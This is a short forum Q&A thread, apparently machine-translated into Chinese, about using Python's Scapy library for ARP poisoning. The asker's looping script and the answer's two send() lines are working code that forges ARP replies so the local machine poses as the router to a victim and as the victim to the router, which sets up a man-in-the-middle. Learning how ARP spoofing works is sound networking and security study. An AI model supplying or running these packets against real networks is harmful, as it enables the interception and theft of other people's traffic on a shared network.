2015-09-23 48 views
0

我試圖用「IP爲macadress」選項,但無法弄清楚如何這樣做...這裏是我的代碼大氣壓:的Python 2.7 -scapy和ARP

from scapy.all import * 
victim = "192.168.5.51" 
spoof = "192.168.5.46" 
op=2 
mac = "88:00:2e:00:87:00" 
while True: 
    arp = ARP(op=op, psrc=spoof, pdst=victim, hwdst=mac) 
    send(arp) 

什麼我要找是向受害者ip發送一個帶有默認網關ip/mac的ARP數據包,並向網關發送攻擊者的ip/mac 該攻擊是arp中毒

回答

1

這有點不清楚你試圖實現什麼,但如果所有你感興趣的是創建一個ARP答覆的形式「192.168.5.51是在00:00:00:00:00:00」,其中所有其他字段的值是不相關的,那麼這應該足夠了:

send(ARP(op=ARP.is_at, psrc='192.168.5.51', hwsrc='00:00:00:00:00:00')) 

編輯:

這將受害人的ARP應答數據包與本地機器僞裝成路由器:

send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip)) 

這發出了一個路由器的ARP 回覆與包本機僞裝成受害者:

send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)) 

在這兩個包中,hwsrc字段默認使用本地計算機的MAC 地址填補。

+0

我更新了一些更正的問題 –

+0

我應該發送那些數據包正確還是一次正常?我會嘗試一下。 –